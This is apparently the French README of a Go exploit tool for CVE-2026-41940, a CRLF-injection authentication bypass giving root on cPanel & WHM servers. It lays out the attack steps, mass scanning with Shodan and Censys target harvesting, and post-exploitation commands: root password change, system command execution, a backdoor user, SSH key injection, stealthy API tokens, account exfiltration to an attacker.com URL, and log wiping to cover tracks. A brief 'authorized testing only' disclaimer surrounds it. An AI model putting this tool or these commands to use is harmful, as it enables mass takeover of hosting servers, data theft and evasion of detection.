
Exploit PoC pour CVE-2026-41940, un contournement d'authentification cPanel & WHM via injection CRLF. Inclut le scan de masse, des actions de post-exploitation et un shell interactif pour les tests autorisés.
Outil par : Ishan Oshada | GitHub
⚠️ UNIQUEMENT POUR DES TESTS DE SÉCURITÉ AUTORISÉS. Toute utilisation non autorisée est illégale.


CVE-2026-41940 est une vulnérabilité d'injection CRLF dans cPanel & WHM (versions < 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.132.0.29, 11.134.0.20, 11.136.0.5).
La fonction saveSession() écrit les données de session après avoir appliqué filter_sessiondata(), mais le filtre est appliqué trop tard. En injectant des caractères CRLF (\r\n) dans l'en-tête Authorization: Basic, un attaquant peut empoisonner le fichier de session sur disque avec des paires clé-valeur arbitraires (par exemple, hasroot=1, tfa_verified=1, user=root).
Lorsque la session empoisonnée est ensuite chargée, cPanel/WHM accorde un accès root complet sans aucun mot de passe.
--verbose) – affiche les requêtes/réponses HTTP complètesgit clone https://github.com/ishanoshada/CVE-2026-41940-Exploit-PoC.git
cd CVE-2026-41940-Exploit-PoC
go build -o cpanel_sniper.exe main.go
go build -o cpanel_sniper main.go
chmod +x cpanel_sniper
go run main.go -u https://target.com:2087
Au lieu de compiler à partir des sources, vous pouvez télécharger directement les exécutables stables les plus récents depuis le dépôt. Ils sont générés automatiquement à chaque mise à jour :
Remarque : Si vous utilisez Linux ou macOS, pensez à accorder les permissions d'exécution après le téléchargement :
# Scan de base
go run main.go -u https://target.com:2087
# Lister tous les comptes cPanel
go run main.go -u https://target.com:2087 -action list
# Shell WHM interactif
go run main.go -u https://target.com:2087 -action shell
# Scan de masse avec urls.txt
go run main.go -l urls.txt -t 20 -o results.json
Une fois dans le shell (-action shell), utilisez ces commandes :
Le dépôt inclut urls.txt avec 1000 cibles d'exemple pour le scan de masse.
https://192.168.1.1:2087
https://192.168.1.2:2087
https://example1.com:2087
https://example2.com:2087
...
# Scan de masse de base (10 threads)
go run main.go -l urls.txt
# Scan de masse rapide (50 threads, sauvegarde des résultats)
go run main.go -l urls.txt -t 50 -o results.json
# Scan de masse avec action post-exploitation
go run main.go -l urls.txt -t 20 -action list -o hacked_servers.json
# Scan de masse avec sortie verbeuse
go run main.go -l urls.txt -t 10 --verbose
# Scan de masse avec délai d'attente augmenté (réseaux lents)
go run main.go -l urls.txt -t 30 -timeout 30
# Générer une plage IP (Linux/macOS)
for i in {1..254}; do echo "https://192.168.1.$i:2087"; done > urls.txt
# Générer une plage IP (Windows PowerShell)
1..254 | ForEach-Object { "https://192.168.1.$($_):2087" } > urls.txt
# Depuis Shodan
shodan search --fields ip_str,port 'title:"WHM Login"' | awk '{print "https://"$1":"$2}' > urls.txt
# Depuis Censys
censys search 'services.port=2087' | awk '{print "https://"$1":2087"}' > urls.txt
╔════════════════════════════════════════════════════════════════╗
║ CIBLE VULNÉRABLE DÉTECTÉE ║
╠════════════════════════════════════════════════════════════════╣
║ Cible : https://target.example.com:2087 ║
║ Jeton : /cpsess1234567890 ║
║ Version : 11.76.0.22 ║
║ Session : :od2aMhg5zJeQunUy... ║
║ URL API : https://target.example.com:2087/cpsess1234567890/json-api/version ║
╚════════════════════════════════════════════════════════════════╝
[+] Action : LIST
• Utilisateur : admin | Domaine : example.com
• Utilisateur : backup | Domaine : backup.example.com
• Utilisateur : client1 | Domaine : client1.com
════════════════════════════════════════════════════════════════════
RÉSUMÉ DU SCAN TERMINÉ
════════════════════════════════════════════════════════════════════
Total de cibles scannées : 1000
Cibles vulnérables : 47
Temps écoulé : 125.34 secondes
CIBLES VULNÉRABLES :
────────────────────────────────────────────────────────────────
1. https://192.168.1.15:2087
Jeton : /cpsess1111111111
Version : 11.76.0.22
Session : :od2aMhg5zJeQunUy...
2. https://192.168.1.42:2087
Jeton : /cpsess2222222222
Version : 11.86.0.15
Session : Km2psnYR9w3rRkLU...
3. https://example.com:2087
Jeton : /cpsess3333333333
Version : 11.118.0.42
Session : Xk9mQrNtPw3sVbLm...
════════════════════════════════════════════════════════════════════
[✓] Résultats sauvegardés dans : results.json
go build -o cpanel_sniper.exe main.go
cpanel_sniper.exe -u https://target.com:2087
go build -o cpanel_sniper main.go
chmod +x cpanel_sniper
./cpanel_sniper -u https://target.com:2087
GOOS=darwin GOARCH=amd64 go build -o cpanel_sniper_mac_intel main.go
GOOS=darwin GOARCH=arm64 go build -o cpanel_sniper_mac_m1 main.go
# Windows
GOOS=windows GOARCH=amd64 go build -o cpanel_sniper_windows.exe main.go
# Linux
GOOS=linux GOARCH=amd64 go build -o cpanel_sniper_linux main.go
# macOS Intel
GOOS=darwin GOARCH=amd64 go build -o cpanel_sniper_mac_intel main.go
# macOS M1/M2
GOOS=darwin GOARCH=arm64 go build -o cpanel_sniper_mac_m1 main.go
# Linux ARM (Raspberry Pi)
GOOS=linux GOARCH=arm64 go build -o cpanel_sniper_linux_arm64 main.go
CVE-2026-41940-Exploit-PoC/
├── README.md # Documentation
├── bin/ # Exécutables pré-compilés multi-plateformes
│ ├── windows_x64/
│ ├── linux_x64/
│ └── ...
├── main.go # Code source principal
├── urls.txt # 1000 cibles d'exemple
├── go.mod # Fichier de module Go
├── .gitignore # Fichier d'ignorance Git
└── results.json # Fichier de sortie (généré)
Cet outil est destiné uniquement à des fins éducatives et aux tests de pénétration autorisés.
L'accès non autorisé à des systèmes informatiques est illégal en vertu de :
L'auteur décline toute responsabilité en cas d'utilisation abusive. Utilisation à vos propres risques.
En utilisant cet outil, vous acceptez que vous disposez de l'autorisation appropriée pour tester les systèmes cibles.
Ishan Oshada
Si vous trouvez cet outil utile :
Bon hacking ! 🚀
Rappelez-vous : Un grand pouvoir implique de grandes responsabilités. Utilisez de manière éthique.
| Étape | Action | Description |
|---|
| 1 | POST /login/?login_only=1 | Demander un cookie de session pré-authentification avec de mauvaises identifiants |
| 2 | GET / + en-tête Authorization CRLF | Empoisonner le fichier de session avec hasroot=1, user=root, etc. |
| 3 | GET /scripts2/listaccts | Forcer le cache de session à recharger le fichier empoisonné (propagation) |
| 4 | GET /cpsess<TOKEN>/json-api/version | Vérifier l'accès root – succès = 200 + données de version |
| Plateforme | Emplacement |
|---|
| Windows (x64) | /bin/windows_x64/cpanel_sniper.exe |
| Linux (x64) | /bin/linux_x64/cpanel_sniper |
| Linux (ARM64) | /bin/linux_arm64/cpanel_sniper |
| macOS (Intel) | /bin/mac_intel/cpanel_sniper |
| macOS (M1/M2/M3) | /bin/mac_m1_m2/cpanel_sniper |
| # | Objectif | Commande |
|---|
| 1 | Scan de base d'une cible unique | go run main.go -u https://target.com:2087 |
| 2 | Lister tous les comptes cPanel | go run main.go -u https://target.com:2087 -action list |
| 3 | Changer le mot de passe root | go run main.go -u https://target.com:2087 -action passwd -passwd "NewP@ssw0rd!2006" |
| 4 | Exécuter une commande système | go run main.go -u https://target.com:2087 -action cmd -cmd "id && whoami" |
| 5 | Obtenir les informations du serveur | go run main.go -u https://target.com:2087 -action info |
| 6 | Créer un utilisateur backdoor | go run main.go -u https://target.com:2087 -action adduser -new-user backdoor -new-domain backdoor.com -passwd "Pass123!2006" |
| 7 | Créer un jeton API (discret) | go run main.go -u https://target.com:2087 -action apitoken -tokenname mytoken |
| 8 | Injecter une clé SSH | go run main.go -u https://target.com:2087 -action sshkey -sshkey "ssh-rsa AAAAB3NzaC1yc2E..." |
| 9 | Sauvegarder et exfiltrer un compte | go run main.go -u https://target.com:2087 -action dumpacct -dumpuser victim -exfil https://attacker.com/upload |
| 10 | Effacer les journaux et couvrir les traces | go run main.go -u https://target.com:2087 -action wipe |
| 11 | Shell WHM interactif | go run main.go -u https://target.com:2087 -action shell |
| 12 | Scan de masse depuis un fichier | go run main.go -l urls.txt -t 20 -o results.json |
| 13 | Sauvegarder les résultats en JSON | go run main.go -u https://target.com:2087 -o scan_results.json |
| 14 | Activer le débogage verbeux | go run main.go -u https://target.com:2087 --verbose |
| 15 | Pipe depuis d'autres outils | cat urls.txt | go run main.go -t 20 |
| 16 | Augmenter le délai d'attente | go run main.go -u https://target.com:2087 -timeout 30 |
| Action | Option | Description | Niveau de discrétion |
|---|
list | -action list | Lister tous les comptes cPanel | Faible |
passwd | -action passwd -passwd NEWPASS | Changer le mot de passe root (bruyant) | Élevé (détectable) |
cmd | -action cmd -cmd "id" | Exécuter des commandes OS | Moyen |
info | -action info | Afficher nom d'hôte, charge, version | Faible |
adduser | -action adduser -new-user U -new-domain D | Créer un utilisateur cPanel backdoor | Moyen |
apitoken | -action apitoken [-tokenname NAME] | Générer un jeton API persistant | Très faible |
sshkey | -action sshkey -sshkey "ssh-rsa..." | Injecter une clé publique SSH dans root | Très faible |
dumpacct | -action dumpacct -dumpuser USER -exfil URL | Sauvegarder et exfiltrer un compte | Moyen |
wipe | -action wipe | Désactiver le WAF, effacer les journaux, nettoyer l'historique | Couvrir les traces |
shell | -action shell | Shell WHM interactif | Faible |
| Commande | Description | Exemple |
|---|
accounts | Lister tous les comptes cPanel | accounts |
passwd <pass> | Changer le mot de passe root | passwd MyNewPass123!2006 |
exec <commande> | Exécuter une commande système | exec "cat /etc/passwd" |
info | Afficher les informations du serveur | info |
version | Afficher la version de cPanel | version |
help | Afficher les commandes disponibles | help |
exit | Quitter le shell | exit |
| Option | Type | Défaut | Description |
|---|
-u | string | - | URL cible (par exemple, https://example.com:2087) |
-l | string | - | Fichier avec les cibles (une par ligne) |
-t | int | 10 | Nombre de threads concurrents |
-action | string | - | Action post-exploitation |
-passwd | string | - | Nouveau mot de passe (pour passwd/adduser) |
-cmd | string | - | Commande à exécuter (pour l'action cmd) |
-new-user | string | - | Nom d'utilisateur pour l'action adduser |
-new-domain | string | - | Domaine pour l'action adduser |
-tokenname | string | - | Nom du jeton API (action apitoken) |
-sshkey | string | - | Clé SSH publique à injecter (action sshkey) |
-dumpuser | string | - | Nom d'utilisateur à sauvegarder (action dumpacct) |
-exfil | string | - | URL distante pour l'exfiltration (action dumpacct) |
-o | string | - | Fichier JSON de sortie (sauvegarde automatique en cas de détection) |
--verbose | bool | false | Afficher les requêtes/réponses HTTP |
-h | bool | false | Afficher le menu d'aide |
| Branche | Version corrigée | Vulnérable < |
|---|
| 11.110 | 11.110.0.97 | 11.110.0.96 |
| 11.118 | 11.118.0.63 | 11.118.0.62 |
| 11.126 | 11.126.0.54 | 11.126.0.53 |
| 11.132 | 11.132.0.29 | 11.132.0.28 |
| 11.134 | 11.134.0.20 | 11.134.0.19 |
| 11.136 | 11.136.0.5 | 11.136.0.4 |